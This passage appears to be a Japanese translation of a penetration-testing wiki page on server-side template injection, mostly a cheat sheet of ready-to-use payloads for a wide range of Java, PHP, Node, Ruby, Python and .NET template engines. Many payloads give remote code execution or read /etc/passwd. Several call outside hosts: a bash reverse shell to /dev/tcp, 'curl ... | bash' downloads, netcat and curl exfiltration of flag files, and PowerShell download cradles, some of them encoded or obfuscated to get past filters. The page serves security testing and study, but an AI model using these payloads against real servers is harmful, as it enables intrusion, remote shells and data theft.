RootedCON は スペイン で最も重要なサイバーセキュリティイベントであり、ヨーロッパ で最も重要なイベントの一つです。技術知識の促進 を使命とし、この会議はあらゆる分野の技術とサイバーセキュリティの専門家が集まる熱い交流の場です。
What is SSTI (Server-Side Template Injection)
サーバーサイドテンプレートインジェクションは、攻撃者がサーバー上で実行されるテンプレートに悪意のあるコードを注入できるときに発生する脆弱性です。この脆弱性は、Jinjaを含むさまざまな技術で見つけることができます。
Jinjaは、ウェブアプリケーションで使用される人気のテンプレートエンジンです。Jinjaを使用した脆弱なコードスニペットを示す例を考えてみましょう:
Copy output = template . render (name = request.args. get ( 'name' ))
この脆弱なコードでは、ユーザーのリクエストからの name
パラメータが render
関数を使用してテンプレートに直接渡されます。これにより、攻撃者が name
パラメータに悪意のあるコードを注入する可能性があり、サーバーサイドテンプレートインジェクションにつながる可能性があります。
例えば、攻撃者は次のようなペイロードを含むリクエストを作成することができます:
Copy http://vulnerable-website.com/?name={{bad-stuff-here}}
The payload {{bad-stuff-here}}
は name
パラメータに注入されます。このペイロードには、攻撃者が不正なコードを実行したり、テンプレートエンジンを操作したりすることを可能にする Jinja テンプレートディレクティブが含まれる可能性があります。これにより、サーバーの制御を得ることができます。
サーバーサイドテンプレートインジェクションの脆弱性を防ぐために、開発者はユーザー入力がテンプレートに挿入される前に適切にサニタイズおよびバリデーションされていることを確認する必要があります。入力バリデーションを実装し、コンテキストに応じたエスケープ技術を使用することで、この脆弱性のリスクを軽減できます。
Detection
サーバーサイドテンプレートインジェクション (SSTI) を検出するために、最初に テンプレートをファジングする ことが簡単なアプローチです。これは、特別な文字のシーケンス (${{<%[%'"}}%\
) をテンプレートに注入し、通常のデータとこの特別なペイロードに対するサーバーの応答の違いを分析することを含みます。脆弱性の指標には以下が含まれます:
脆弱性を明らかにするエラーが発生し、潜在的にテンプレートエンジンが明らかになる。
反映にペイロードが存在しない、またはその一部が欠けている場合、サーバーがそれを通常のデータとは異なる方法で処理していることを示唆します。
プレーンテキストコンテキスト : サーバーがテンプレート式を評価するかどうかを確認することで XSS と区別します (例: {{7*7}}
, ${7*7}
)。
コードコンテキスト : 入力パラメータを変更することで脆弱性を確認します。例えば、http://vulnerable-website.com/?greeting=data.username
の greeting
を変更して、サーバーの出力が動的か固定かを確認します。例えば、greeting=data.username}}hello
がユーザー名を返すかどうかを確認します。
Identification Phase
テンプレートエンジンを特定するには、エラーメッセージを分析するか、さまざまな言語固有のペイロードを手動でテストします。エラーを引き起こす一般的なペイロードには ${7/0}
、{{7/0}}
、および <%= 7/0 %>
が含まれます。数学的操作に対するサーバーの応答を観察することで、特定のテンプレートエンジンを特定するのに役立ちます。
Tools
効率的な SSTI + CSTI スキャナーであり、新しいポリグロットを利用しています。
Copy tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
Copy python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s
Copy python2 . 7 . / tplmap . py - u 'http://www.target.com/page?name=John*' --os - shell
python2 . 7 . / tplmap . py - u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2 . 7 . / tplmap . py - u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 - e jade
最も効率的なテンプレートインジェクションポリグロットと、44の最も重要なテンプレートエンジンの期待されるレスポンスを含むインタラクティブなテーブルです。
Exploits
Generic
このwordlist には、以下に示すいくつかのエンジンの環境で定義された変数 が含まれています:
Java
Java - 基本的なインジェクション
Copy ${ 7 * 7 }
${{ 7 * 7 }}
${ class . getClassLoader ()}
${ class . getResource ( "" ) . getPath ()}
${ class . getResource ( "../../../../../index.htm" ) . getContent ()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.
Java - システムの環境変数を取得する
Copy ${ T( java . lang . System ) . getenv ()}
Java - /etc/passwdを取得
Copy ${ T( java . lang . Runtime ) . getRuntime () . exec ( 'cat etc/passwd' )}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
FreeMarker (Java)
あなたはhttps://try.freemarker.apache.org でペイロードを試すことができます。
Copy < #assign ex = "freemarker.template.utility.Execute" ?new ()>${ ex ( "id" )}
[#assign ex = 'freemarker.template.utility.Execute' ?new ()]${ ex( 'id' ) }
${ "freemarker.template.utility.Execute" ?new ()("id")}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
Freemarker - サンドボックスバイパス
⚠️ Freemarkerのバージョンが2.3.30未満の場合のみ動作します
Copy < #assign classloader = article . class . protectionDomain . classLoader >
< #assign owc = classloader . loadClass ( "freemarker.template.ObjectWrapper" ) >
< #assign dwf = owc . getField ( "DEFAULT_WRAPPER" ) . get ( null ) >
< #assign ec = classloader . loadClass ( "freemarker.template.utility.Execute" ) >
${ dwf . newInstance (ec , null )( "id" )}
詳細情報
Velocity (Java)
Copy // I think this doesn't work
# set($str = $class . inspect( "java.lang.String" ) . type )
# set($chr = $class . inspect( "java.lang.Character" ) . type )
# set($ex = $class . inspect( "java.lang.Runtime" ) . type . getRuntime() . exec( "whoami" ))
$ex . waitFor ()
# set($out = $ex . getInputStream())
# foreach($i in [1 .. $out . available()])
$str . valueOf ( $chr . toChars ( $out . read ()))
#end
// This should work?
# set($s = "" )
# set($stringClass = $s . getClass())
# set($runtime = $stringClass . forName( "java.lang.Runtime" ) . getRuntime())
# set($process = $runtime . exec( "cat%20/flag563378e453.txt" ))
# set($out = $process . getInputStream())
# set($ null = $process . waitFor() )
# foreach($i + in + [1 .. $out . available()])
$out . read ()
#end
More information
Thymeleaf
Thymeleafにおいて、SSTI脆弱性の一般的なテストは、式${7*7}
であり、これはこのテンプレートエンジンにも適用されます。リモートコード実行の可能性がある場合、次のような式が使用できます:
Copy ${ T( java . lang . Runtime ) . getRuntime () . exec ( 'calc' )}
Copy ${#rt = @ java.lang.Runtime@getRuntime () , # rt . exec ( "calc" )}
Thymeleafでは、これらの式を特定の属性内に配置する必要があります。ただし、_expression inlining_は他のテンプレートの場所でもサポートされており、[[...]]
や[(...)]
のような構文が使用できます。したがって、シンプルなSSTIテストペイロードは[[${7*7}]]
のようになります。
しかし、このペイロードが機能する可能性は一般的に低いです。Thymeleafのデフォルト設定では動的テンプレート生成がサポートされておらず、テンプレートは事前に定義されている必要があります。開発者は、文字列からテンプレートをオンザフライで作成するために独自のTemplateResolver
を実装する必要があり、これは一般的ではありません。
Thymeleafはまた、ダブルアンダースコア(__...__
)内の式を前処理する_式前処理_を提供しています。この機能は、Thymeleafのドキュメントに示されているように、式の構築に利用できます:
Copy #{ selection . __$ { sel . code }__}
Thymeleafにおける脆弱性の例
以下のコードスニペットを考えてみてください。これは悪用される可能性があります:
Copy < a th : href = "@{__${path}__}" th : title = "${title}" >
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
これは、テンプレートエンジンがこれらの入力を不適切に処理した場合、次のようなURLにアクセスするリモートコード実行につながる可能性があることを示しています:
Copy http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
詳細情報
EL - Expression Language Springフレームワーク (Java)
Copy * { T( org . apache . commons . io . IOUtils ) . toString ( T( java . lang . Runtime ) . getRuntime () . exec ( 'id' ) . getInputStream ())}
フィルターのバイパス
${...}
が機能しない場合は、#{...}
、*{...}
、@{...}
、または~{...}
を試してください。
Copy ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
Copy #!/usr/bin/python3
## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"
from sys import argv
cmd = list (argv[ 1 ]. strip ())
print ( "Payload: " , cmd , end = "\n\n" )
converted = [ ord (c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'
count = 1
for i in converted :
if count == 1 :
base_payload += f "(T(java.lang.Character).toString( {i} ).concat"
count += 1
elif count == len (converted):
base_payload += f "(T(java.lang.Character).toString( {i} )))"
else :
base_payload += f "(T(java.lang.Character).toString( {i} )).concat"
count += 1
print (base_payload + end_payload)
詳細情報
Spring View Manipulation (Java)
Copy __ ${ new java . util . Scanner ( T( java . lang . Runtime ) . getRuntime () . exec ( "id" ) . getInputStream ()) . next ()}__ :: . x
__ ${ T( java . lang . Runtime ) . getRuntime () . exec ( "touch executed" )}__ :: . x
EL - Expression Language Pebble (Java)
{{ someString.toUPPERCASE() }}
Pebbleの古いバージョン ( < version 3.0.9):
Copy {{ variable . getClass () . forName ( 'java.lang.Runtime' ) . getRuntime () . exec ( 'ls -la' ) }}
新しいバージョンのPebble :
Copy { % set cmd = 'id' % }
{ % set bytes = ( 1 ) . TYPE
. forName ( 'java.lang.Runtime' )
. methods [ 6 ]
. invoke ( null , null )
. exec (cmd)
. inputStream
. readAllBytes () % }
{{ ( 1 ) . TYPE
. forName ( 'java.lang.String' )
. constructors [ 0 ]
. newInstance (([bytes]) . toArray ()) }}
Jinjava (Java)
Copy {{ 'a' . toUpperCase ()}} would result in 'A'
{{ request }} would return a request object like com . [ ... ] . context . TemplateContextRequest @ 23548206
JinjavaはHubspotによって開発されたオープンソースプロジェクトで、https://github.com/HubSpot/jinjava/ で入手可能です。
Jinjava - コマンド実行
https://github.com/HubSpot/jinjava/pull/230 によって修正されました。
Copy {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
詳細情報
Hubspot - HuBL (Java)
{{ request }}
- com.hubspot.content.hubl.context.TemplateContextRequest@23548206
{{'a'.toUpperCase()}}
- "A"
{{'a'.concat('b')}}
- "ab"
{{'a'.getClass()}}
- java.lang.String
{{request.getClass()}}
- class com.hubspot.content.hubl.context.TemplateContextRequest
{{request.getClass().getDeclaredMethods()[0]}}
- public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
"com.hubspot.content.hubl.context.TemplateContextRequest"を検索し、JinjavaプロジェクトをGithubで発見 。
Copy {{ request . isDebug ()}}
//output: False
//Using string 'a' to get an instance of class sun.misc.Launcher
{{ 'a' . getClass () . forName ( 'sun.misc.Launcher' ) . newInstance ()}}
//output: sun.misc.Launcher@715537d4
//It is also possible to get a new object of the Jinjava class
{{ 'a' . getClass () . forName ( 'com.hubspot.jinjava.JinjavaConfig' ) . newInstance ()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797
//It was also possible to call methods on the created object by combining the
{ % % } and {{ }} blocks
{ % set ji = 'a' . getClass () . forName ( 'com.hubspot.jinjava.Jinjava' ) . newInstance () . newInterpreter () % }
{{ ji . render ( '{{1*2}}' )}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.
//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx
//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e
//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution
//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
詳細情報
表現言語 - EL (Java)
${{request}}, ${{session}}, {{faceContext}}
表現言語 (EL) は、JavaEEにおけるプレゼンテーション層(ウェブページなど)とアプリケーションロジック(マネージドビーンなど)との相互作用を促進する基本的な機能です。この通信を効率化するために、複数のJavaEE技術で広く使用されています。ELを利用する主要なJavaEE技術には以下が含まれます:
JavaServer Faces (JSF) : JSFページ内のコンポーネントを対応するバックエンドデータおよびアクションにバインドするためにELを使用します。
JavaServer Pages (JSP) : JSP内でデータにアクセスし操作するためにELが使用され、ページ要素をアプリケーションデータに接続しやすくします。
Java EEのためのコンテキストと依存性注入 (CDI) : ELはCDIと統合され、ウェブ層とマネージドビーン間のシームレスな相互作用を可能にし、より一貫したアプリケーション構造を確保します。
ELインタープリタの悪用 について詳しくは、以下のページを確認してください:
EL - Expression Language Groovy (Java)
以下のセキュリティマネージャーバイパスは、この書き込み から取得されました。
Copy //Basic Payload
import groovy . * ;
@ groovy.transform.ASTTest (value = {
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java . lang . Runtime . getRuntime () . exec ( cmd . split ( " " ))
})
def x
//Payload to get output
import groovy . * ;
@ groovy.transform.ASTTest (value = {
cmd = "whoami" ;
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out . replaceAll ( "[^a-zA-Z0-9]" , "" ) + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net" ;
java . lang . Runtime . getRuntime () . exec ( cmd2 . split ( " " ))
})
def x
//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))
RootedCON は スペイン で最も関連性の高いサイバーセキュリティイベントであり、ヨーロッパ で最も重要なイベントの一つです。技術的知識の促進 を使命とし、この会議はあらゆる分野の技術とサイバーセキュリティの専門家が集まる熱い交流の場です。
Smarty (PHP)
Copy {$smarty . version}
{php} echo `id` ;{ / php} //deprecated in smarty v3
{ Smarty_Internal_Write_File :: writeFile ( $SCRIPT_NAME , "<?php passthru($_GET['cmd']); ?>" , self:: clearConfig ()) }
{ system ( 'ls' ) } // compatible v3
{ system ( 'cat index.php' ) } // compatible v3
詳細情報
Twig (PHP)
Copy #Get Info
{{ _self }} #(Ref. to current application)
{{ _self . env }}
{{ dump (app)}}
{{ app . request . server . all | join ( ',' )}}
#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}" @
#Exec code
{{ _self . env . setCache ( "ftp://attacker.net:2121" )}}{{ _self . env . loadTemplate ( "backdoor" )}}
{{ _self . env . registerUndefinedFilterCallback ( "exec" )}}{{ _self . env . getFilter ( "id" )}}
{{ _self . env . registerUndefinedFilterCallback ( "system" )}}{{ _self . env . getFilter ( "whoami" )}}
{{ _self . env . registerUndefinedFilterCallback ( "system" )}}{{ _self . env . getFilter ( "id;uname -a;hostname" )}}
{{ [ 'id' ] | filter ( 'system' )}}
{{ [ 'cat\x20/etc/passwd' ] | filter ( 'system' )}}
{{ [ 'cat$IFS/etc/passwd' ] | filter ( 'system' )}}
{{ [ 'id' , "" ] | sort ( 'system' )}}
#Hide warnings and errors for automatic exploitation
{{ [ "error_reporting" , "0" ] | sort ( "ini_set" )}}
Twig - テンプレート形式
Copy $output = $twig > render (
'Dear' . $_GET[ 'custom_greeting' ] ,
array( "first_name" => $user . first_name)
) ;
$output = $twig > render (
"Dear {first_name}" ,
array( "first_name" => $user . first_name)
) ;
詳細情報
Plates (PHP)
PlatesはPHPにネイティブなテンプレートエンジンで、Twigからインスピレーションを得ています。しかし、Twigが新しい構文を導入するのに対し、Platesはテンプレート内でネイティブPHPコードを活用しており、PHP開発者にとって直感的です。
Controller:
Copy // Create new Plates instance
$templates = new League \ Plates \ Engine ( '/path/to/templates' );
// Render a template
echo $templates -> render ( 'profile' , [ 'name' => 'Jonathan' ] ) ;
ページテンプレート:
Copy <? php $this -> layout ( 'template' , [ 'title' => 'User Profile' ] ) ?>
< h1 > User Profile </ h1 >
< p > Hello , <?= $this -> e ( $name ) ?></ p >
レイアウトテンプレート:
Copy < html >
< head >
< title ><?=$this->e($title)?></ title >
</ head >
< body >
<?=$this->section('content')?>
</ body >
</ html >
詳細情報
PHPlib と HTML_Template_PHPLIB (PHP)
HTML_Template_PHPLIB は PHPlib と同じですが、Pear に移植されています。
authors.tpl
Copy < html >
< head >< title >{PAGE_TITLE}</ title ></ head >
< body >
< table >
< caption >Authors</ caption >
< thead >
< tr >< th >Name</ th >< th >Email</ th ></ tr >
</ thead >
< tfoot >
< tr >< td colspan = "2" >{NUM_AUTHORS}</ td ></ tr >
</ tfoot >
< tbody >
<!-- BEGIN authorline -->
< tr >< td >{AUTHOR_NAME}</ td >< td >{AUTHOR_EMAIL}</ td ></ tr >
<!-- END authorline -->
</ tbody >
</ table >
</ body >
</ html >
authors.php
Copy <? php
//we want to display this author list
$authors = array (
'Christian Weiske' => 'cweiske@php.net' ,
'Bjoern Schotte' => 'schotte@mayflower.de'
);
require_once 'HTML/Template/PHPLIB.php' ;
//create template object
$t =& new HTML_Template_PHPLIB ( dirname ( __FILE__ ), 'keep' );
//load file
$t -> setFile ( 'authors' , 'authors.tpl' ) ;
//set block
$t -> setBlock ( 'authors' , 'authorline' , 'authorline_ref' ) ;
//set some variables
$t -> setVar ( 'NUM_AUTHORS' , count ( $authors )) ;
$t -> setVar ( 'PAGE_TITLE' , 'Code authors as of ' . date ( 'Y-m-d' )) ;
//display the authors
foreach ($authors as $name => $email) {
$t -> setVar ( 'AUTHOR_NAME' , $name ) ;
$t -> setVar ( 'AUTHOR_EMAIL' , $email ) ;
$t -> parse ( 'authorline_ref' , 'authorline' , true ) ;
}
//finish and echo
echo $t -> finish ( $t -> parse ( 'OUT' , 'authors' )) ;
?>
詳細情報
Jade (NodeJS)
Copy - var x = root .process
- x = x . mainModule .require
- x = x ( 'child_process' )
= x .exec ( 'id | nc attacker.net 80' )
Copy #{ root . process . mainModule .require ( 'child_process' ) .spawnSync ( 'cat' , [ '/etc/passwd' ]).stdout}
詳細情報
patTemplate (PHP)
patTemplate は、XMLタグを使用してドキュメントを異なる部分に分割する非コンパイル型のPHPテンプレーティングエンジンです。
Copy < patTemplate : tmpl name = "page" >
This is the main page.
< patTemplate : tmpl name = "foo" >
It contains another template.
</ patTemplate : tmpl >
< patTemplate : tmpl name = "hello" >
Hello {NAME}.< br />
</ patTemplate : tmpl >
</ patTemplate : tmpl >
詳細情報
Handlebars (NodeJS)
パス・トラバーサル(詳細情報はこちら )。
Copy curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
Copy {{#with "s" as | string | }}
{{#with "e" }}
{{#with split as | conslist | }}
{{ this . pop }}
{{ this . push (lookup string . sub "constructor" )}}
{{ this . pop }}
{{#with string . split as | codelist | }}
{{ this . pop }}
{{ this . push "return require('child_process').exec('whoami');" }}
{{ this . pop }}
{{#each conslist}}
{{# with ( string . sub . apply 0 codelist) }}
{{ this }}
{{ / with}}
{{ / each}}
{{ / with}}
{{ / with}}
{{ / with}}
{{ / with}}
URLencoded :
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D
詳細情報
JsRender (NodeJS)
HTMLエンコードされた出力を評価してレンダリングする
クライアントサイド
Copy {{: % 22test % 22. toString . constructor . call ({}, % 22alert( % 27xss % 27 ) % 22 )()}}
サーバーサイド
Copy {{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}
詳細情報
PugJs (NodeJS)
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}
例 サーバーサイドレンダリング
Copy var pugjs = require ( 'pug' );
home = pugjs .render (injected_page)
More information
NUNJUCKS (NodeJS)
Copy {{ range .constructor ( "return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')" )()}}
{{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')")()}}
詳細情報
ERB (Ruby)
Copy <%= system ( "whoami" ) %> #Execute code
<%= Dir . entries ( '/' ) %> #List folder
<%= File . open ( '/etc/passwd' ). read %> #Read file
<%= system ( 'cat /etc/passwd' ) %>
<%= `ls / ` %>
<%= IO . popen ( 'ls /' ). readlines () %>
<% require 'open3' %><% @ a , @ b , @ c , @ d = Open3 . popen3 ( 'whoami' ) %><%= @ b . readline () %>
<% require 'open4' %><% @ a , @ b , @ c , @ d = Open4 . popen4 ( 'whoami' ) %><%= @ c . readline () %>
詳細情報
Slim (Ruby)
詳細情報
Python
以下のページをチェックして、Pythonでのサンドボックスを回避した任意のコマンド実行 に関するトリックを学んでください:
Bypass Python sandboxes Tornado (Python)
Copy { % import foobar % } = Error
{ % import os % }
{ % import os % }
{{ os . system ( 'whoami' )}}
{{ os . system ( 'whoami' )}}
詳細情報
Jinja2 (Python)
公式ウェブサイト
Jinja2はPython用のフル機能のテンプレートエンジンです。完全なUnicodeサポート、オプションの統合されたサンドボックス実行環境を備えており、広く使用されており、BSDライセンスです。
<div data-gb-custom-block data-tag="debug"></div>
Copy { % debug % }
{{ settings . SECRET_KEY }}
{{ 4 * 4 }} [[ 5 * 5 ]]
{{ 7 * '7' }} would result in 7777777
Jinja2 - テンプレート形式
Copy { % extends "layout.html" % }
{ % block body % }
< ul >
{ % for user in users % }
< li >< a href = " {{ user.url }} " > {{ user . username }} </ a ></ li >
{ % endfor % }
</ ul >
{ % endblock % }
RCEは __builtins__
に依存しない:
Copy {{ self . _TemplateReference__context . cycler . __init__ . __globals__ . os . popen ( 'id' ). read () }}
{{ self . _TemplateReference__context . joiner . __init__ . __globals__ . os . popen ( 'id' ). read () }}
{{ self . _TemplateReference__context . namespace . __init__ . __globals__ . os . popen ( 'id' ). read () }}
# Or in the shotest versions:
{{ cycler . __init__ . __globals__ . os . popen ( 'id' ). read () }}
{{ joiner . __init__ . __globals__ . os . popen ( 'id' ). read () }}
{{ namespace . __init__ . __globals__ . os . popen ( 'id' ). read () }}
Jinjaを悪用する方法の詳細 :
Jinja2 SSTI 他のペイロードはhttps://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2 にあります。
Mako (Python)
Copy <%
import os
x=os.popen('id').read()
%>
${x}
詳細情報
Razor (.Net)
@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");
.NETのSystem.Diagnostics.Process.Start
メソッドは、サーバー上で任意のプロセスを開始し、ウェブシェルを作成するために使用できます。脆弱なウェブアプリの例はhttps://github.com/cnotin/RazorVulnerableApp で見つけることができます。
詳細情報
ASP
<%= response.write(date()) %>
= <日付>
Copy <%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
詳細情報
Mojolicious (Perl)
Perlであっても、RubyのERBのようなタグを使用します。
Copy <%= perl code %>
<% perl code %>
SSTI in GO
Goのテンプレートエンジンでは、特定のペイロードを使用してその利用を確認できます:
{{ . }}
: データ構造の入力を明らかにします。たとえば、Password
属性を持つオブジェクトが渡されると、{{ .Password }}
がそれを露出する可能性があります。
{{printf "%s" "ssti" }}
: 文字列 "ssti" を表示することが期待されます。
{{html "ssti"}}
, {{js "ssti"}}
: これらのペイロードは "ssti" を返すべきであり、"html" や "js" を追加しないはずです。さらなる指示はGoのドキュメントで探ることができます こちら 。
XSS Exploitation
text/template
パッケージを使用すると、ペイロードを直接挿入することでXSSが簡単に実行できます。対照的に、html/template
パッケージはこのためにレスポンスをエンコードします(例:{{"<script>alert(1)</script>"}}
は<script>alert(1)</script>
になります)。それにもかかわらず、Goにおけるテンプレートの定義と呼び出しはこのエンコーディングを回避できます:{{define "T1"}}alert(1){{end}} {{template "T1"}}
vbnet Copy code
RCE Exploitation
RCEの悪用は、html/template
とtext/template
の間で大きく異なります。text/template
モジュールは、任意の公開関数を直接呼び出すことを許可します(“call”値を使用)。これはhtml/template
では許可されていません。これらのモジュールのドキュメントは、html/templateはこちら と text/templateはこちら で入手できます。
GoにおけるSSTIを介したRCEでは、オブジェクトメソッドを呼び出すことができます。たとえば、提供されたオブジェクトにコマンドを実行するSystem
